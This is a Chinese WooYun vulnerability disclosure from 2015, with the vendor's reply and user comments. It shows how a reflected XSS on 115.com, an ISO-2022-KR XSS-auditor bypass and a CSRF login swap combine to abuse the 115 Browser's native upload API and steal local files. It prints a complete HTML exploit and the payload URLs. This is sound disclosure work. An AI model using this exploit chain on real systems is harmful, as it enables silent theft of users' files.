当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141347

漏洞标题:115浏览器设计缺陷可导致远程窃取用户系统上的任意文件

相关厂商:115网盘

漏洞作者: 数据流

提交时间:2015-09-15 17:19

修复时间:2015-12-14 21:32

公开时间:2015-12-14 21:32

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-15: 细节已通知厂商并且等待厂商处理中
2015-09-15: 厂商已经确认,细节仅向厂商公开
2015-09-18: 细节向第三方安全合作伙伴开放
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

这漏洞两个月前发现的了..我只能说这利用比较猥琐...现在115网盘要强制用115浏览器才能登陆了 (┬_┬)好狠啊,抓住了人们的刚需

详细说明:

结合了三处缺陷才能触发
一:
115浏览器结合了115网盘,提供了在浏览器直接登陆115账号的功能

3.jpg


而在浏览器的下载模块添加了115网盘的上传功能

2.jpg


在浏览器登陆115账号的用户可以直接通过浏览器上传本地文件到网盘
分析一下 chrome://downloads/#upload的上传功能引用了

http://115.com/static/browser/download/js/upload.js


那么就代表只要取得115.com的域就有可能操作chrome://downloads/#upload
先看看upload.js

var init = function () {
_TCache.Uploader = window['uploadInterface'];
if (_TCache.Uploader) {
UPLOAD_CONFIG_NEW.target = "U_1_0";
UPLOAD_CONFIG_NEW['use_type'] = 2;
UPLOAD_CONFIG_NEW['file_range'] = {
"2": "0-67108864", "1": "67108864-0"
};
......
Install: function () {
if (!window['uploadInterface']) {
alert('控件未初始化');
return false;
}
return true;
}
}
......


里面的方法很多 直接调用uploadInterface.CreateUploadDragTask方法来上传文件

function (path, target) {  native function NativeCreateUploadDragTask();  return NativeCreateUploadDragTask(path, target);}


target就是初始化配置里面的UPLOAD_CONFIG_NEW.target = "U_1_0";
代表在网盘的目录ID

uploadInterface.CreateUploadDragTask("C:\/xxx","U_1_0")


这样就能调用浏览器的上传了

1234.png


二:上传文件的方法分析出后就要找特权域了
刚才提到115.com就是了,直接在主站找到一个反射xss

http://115.com/xhprof/callgraph.php?run=xxx


但是有chrome 的xss auditor

4.jpg


最近老外爆出的一个bypass也过不了

<svg><script>/<1/>alert(document.domain)</script></svg>


这个bypass在最新版的chrome都过了,但是在115浏览器就过不了。
后来经@phithon给的一个旧版chrome的bypass绕过了,因为115内置的chrome版本比较老,所以最新的bypass对他也不适用。
最后得出的bypass是因为chrome对ISO-2022字符编码没有进行检测
所以可以利用ISO-2022的编码来绕过

http://115.com/xhprof/callgraph.php?run=%3Cmeta%20charset=ISO-2022-KR%3E%3Cimg%20src=1%20onerror%0f=alert(1)%3E


4.jpg


(此tip在三年前就被老外提出了,现在在chrome早已修复,但有些使用较旧chrome内核的浏览器有可能存在)
三:
特权域上的xss解决了。另外由于文件是上传到对方账号的网盘上,所以我们要登陆到对方的网盘才可以拿到我们窃取的文件。本来是想着直接利用xss到cookie就可以登陆别人网盘拿到窃取到的东西了,但却发现115启用了httponly

7.jpg


然后就找了好几天能突破httponly的地方,但没有找到.后来就想到了一个猥琐的方法,把对方登陆的网盘账号,换成自己的网盘账号,不就可以拿到盗窃的文件了.
这里就想到用csrf的方式来登陆自己的账号,也不需要去分析115的登陆加密算法
登陆时直接抓包

1.jpg


把所有字段都写成一个表单自动提交

漏洞证明:

最后给出EXP:

<html>
<title>115 Browser Test by 数据流</title>
<head>
<script>
var img = document.createElement("img");
img.src="http://passport.115.com/?ac=logout&goto=";
document.body.appendChild(img); //先让对方登陆的账号退出
</script>
</head>
<form action="http://passport.115.com/?ct=login&ac=auth&token=9facc1c735bfd1f90bb535f0dfde1da2&nonce=f6e5664f6601017a830e95d0cafc43fd&account=XXX&time=1442294158" method="POST">
<input type="text" name="data" value="xxx">
<input type="text" name="goto" value="http://115.com/?mode=wangpan">
</form>
<script>
function login()
{
document.forms[0].submit();
}
setTimeout(function() { login(); }, 2000);
var i = document.createElement("iframe");
i.width=0
i.height=0
i.src="http://115.com/xhprof/callgraph.php?run=%3Cmeta%20charset=ISO-2022-KR%3E%3Cimg%20src=1%20onerror%0f=uploadInterface.CreateUploadDragTask('C:\/test.txt',%22U_1_0%22)"
document.body.appendChild(i);
</script>
</html>


以上表单上的字段都要自己抓包去替换哦,生成出来的登陆包数据是长期有效的,短时间内不会失效,可以重复使用登陆.

5.jpg


6.jpg


成功窃取到指定路径的文件
顺便把代码放到我的服务器上吧
测试地址:http://115browser.com/115_getfile_wooyun.html

修复方案:

1 修复主站XSS
2 加强边界权限控制

版权声明:转载请注明来源 数据流@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-15 21:30

厂商回复:

这实质上属于CSRF攻击,利用手法很精彩!但是攻击成本比较高。
1)由于验证机制不断加强,采用Cookie登陆等方式基本无效,同时高质量的XSS也很少,所以此处作为CSRF利用;
2)客户端加密也在升级中,有几处登陆字段验证暂时没开启,很快上线了;
3)最后利用步骤比较麻烦,需要穷举相关文件是否存在。
客户端APP和浏览器还在不断升级中!感谢支持! :)
赞下洞主的研究精神。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-15 17:20 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    访问一下网页,我硬盘上的苍老师就被你看到了?

  2. 2015-09-15 17:23 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1616 漏洞数:187 | 关注技术与网络安全(不收徒,不招人,任何...)

    前排来顶!

  3. 2015-09-15 17:24 | scanf ( 核心白帽子 | Rank:1334 漏洞数:193 | 。)

    好可怕

  4. 2015-09-15 17:25 | 泳少 ( 普通白帽子 | Rank:232 漏洞数:80 | ★ 梦想这条路踏上了,跪着也要...)

    最丑的人可以雷劈了

  5. 2015-09-15 17:27 | 数据流 认证白帽子 ( 普通白帽子 | Rank:737 漏洞数:92 | 没关系啊,我们还有音乐)

    @疯狗 没错 还可以偷走桌面上的所有文件 (/≥▽≤/)

  6. 2015-09-15 17:31 | 班尼路 ( 普通白帽子 | Rank:166 漏洞数:43 | 信息安全爱好者)

    @数据流 这么说我桌面上收藏的X片下载地址都被你拿到了?我恨你115就是个流氓 求不用手机扫描 直接绕过浏览器限制登录方法

  7. 2015-09-15 17:35 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2859 漏洞数:569 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    @数据流 刁刁的

  8. 2015-09-15 17:37 | _Evil ( 普通白帽子 | Rank:418 漏洞数:60 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    淡水 淡水

  9. 2015-09-15 17:38 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    数据流发红包

  10. 2015-09-15 17:40 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:322 | 国内信息安全任重而道远,还需要厂商和白帽...)

    数据流发红包

  11. 2015-09-15 17:40 | 沦沦 ( 普通白帽子 | Rank:586 漏洞数:138 | 爱老婆,爱生活)

    数据流 闪电了发红包

  12. 2015-09-15 17:45 | 数据流 认证白帽子 ( 普通白帽子 | Rank:737 漏洞数:92 | 没关系啊,我们还有音乐)

    @梧桐雨 (。・`ω´・)

  13. 2015-09-15 17:46 | 数据流 认证白帽子 ( 普通白帽子 | Rank:737 漏洞数:92 | 没关系啊,我们还有音乐)

    @疯子 丑的人没抢到 我也没办法

  14. 2015-09-15 17:50 | 紫霞仙子 ( 普通白帽子 | Rank:2180 漏洞数:298 | 天天向上 !!!)

    @数据流 我靠,我给你点赞去了,红包就没了,重发。

  15. 2015-09-15 18:00 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    mark!!皮肤那个api么

  16. 2015-09-15 18:03 | 聋子 ( 普通白帽子 | Rank:360 漏洞数:69 | 一个聋子)

    (┬_┬)好狠啊,抓住了人们的肛需

  17. 2015-09-15 18:54 | zzR 认证白帽子 ( 核心白帽子 | Rank:1394 漏洞数:123 | 收wb 1:5 无限量收 [平台担保])

    这个功能真贴心呢

  18. 2015-09-15 18:58 | 番茄师傅 ( 普通白帽子 | Rank:313 漏洞数:86 | http://www.tomatoyu.com/)

    访问一下网页,我硬盘上的苍老师就被你看到了?

  19. 2015-09-15 19:14 | 骑虎打狗 ( 路人 | Rank:5 漏洞数:4 | 认真对待每个洞..)

    那你告诉我 你已经有几位老师了?偷老师好可怕..

  20. 2015-09-15 19:18 | luwikes ( 普通白帽子 | Rank:532 漏洞数:79 | 潜心学习~~~)

    后排建议数据流发红包^-^

  21. 2015-09-15 19:25 | Ourgame简单 ( 实习白帽子 | Rank:55 漏洞数:13 | 来打酱油.)

    只说,幸亏我不用它。

  22. 2015-09-15 19:46 | Lyleaks ( 普通白帽子 | Rank:167 漏洞数:12 | 我都是按照基本法发洞的)

    MARK

  23. 2015-09-15 19:50 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    安全登录,防止被盗。请使用115浏览器登录。

  24. 2015-09-15 20:15 | 小龙 ( 普通白帽子 | Rank:1324 漏洞数:332 | 乌云有着这么一群人,在乌云学技术,去某数...)

    我去,第二步居然把人家的屏幕监控了,洞主也是够6的,第三步那个地方没有写详细哦

  25. 2015-09-15 20:16 | 泪雨无魂 ( 普通白帽子 | Rank:168 漏洞数:47 )

    偷老师 好可怕。。

  26. 2015-09-15 20:31 | 我爱水秀天蓝 ( 普通白帽子 | Rank:103 漏洞数:15 | 好好学习,天天向上!)

    115网盘越来越不想用了,人就是这样,在有选择的情况下,越强迫越不想用。

  27. 2015-09-15 20:54 | -路人甲- ( 路人 | Rank:11 漏洞数:4 | 你的是我的,是我的还是我的,拿走也没用。)

    ...115不是现在强制使用浏览器登录么。。利用你这个漏洞既不是。。。

  28. 2015-09-15 20:59 | 一只猿 ( 普通白帽子 | Rank:509 漏洞数:92 | 硬件与无线通信研究方向)

    还我的老师

  29. 2015-09-15 20:59 | YyY ( 路人 | Rank:11 漏洞数:4 | YyY)

    坚决不用115!!!!!!!!!!!!!赖凌峰放学别走!!!!!!!

  30. 2015-09-16 09:06 | DNS ( 普通白帽子 | Rank:543 漏洞数:63 | 没有我,你们就去背IP吧)

    牛牛牛

  31. 2015-09-16 10:04 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    卧槽~~~数据流居然瞒着我们提交漏洞。。。作为群管理员,我有权谴责下你。。。/(ㄒoㄒ)/~~

  32. 2015-09-16 10:06 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    师傅 你太伟大了,么么哒~~~

  33. 2015-09-16 10:26 | 数据流 认证白帽子 ( 普通白帽子 | Rank:737 漏洞数:92 | 没关系啊,我们还有音乐)

    @鬼魅羊羔 ,,Ծ‸Ծ,,

  34. 2015-09-16 10:27 | 数据流 认证白帽子 ( 普通白帽子 | Rank:737 漏洞数:92 | 没关系啊,我们还有音乐)

    @115网盘 谢谢厂商的夸奖..补充下厂商的回复3 不需要枚举文件名,有方法可以直接上传目录的 o(*≧▽≦)ツ

  35. 2015-09-16 11:31 | DNS ( 普通白帽子 | Rank:543 漏洞数:63 | 没有我,你们就去背IP吧)

    @数据流 刚才我问你PP,原来你就是 T.T

  36. 2015-09-18 23:50 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    我靠。。原来我的20T是这么流出去的啊

  37. 2015-09-19 00:27 | phith0n 认证白帽子 ( 普通白帽子 | Rank:672 漏洞数:110 | 一个想当文人的黑客~)

    难道只有我看成IIS存在缺陷导致窃取任意文件了么?

  38. 2015-09-19 10:01 | 数据流 认证白帽子 ( 普通白帽子 | Rank:737 漏洞数:92 | 没关系啊,我们还有音乐)

    @phith0n 是的 就只有你了_(:3 」∠)_

  39. 2015-09-19 10:14 | 大师兄 ( 路人 | Rank:14 漏洞数:6 | 每日必关注乌云)

    @数据流 妈妈问我为什么趴着上网

  40. 2015-09-19 16:36 | 小财 ( 路人 | Rank:4 漏洞数:2 | 我就这样逗逼!)

    ( ⊙o⊙ )哇

  41. 2015-09-21 08:50 | 心云 ( 普通白帽子 | Rank:153 漏洞数:49 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    真叼

  42. 2015-12-07 09:14 | 进击的zjx ( 普通白帽子 | Rank:1000 漏洞数:130 | 1000rank目标达成!撒花……)

    思路真猥琐!牛逼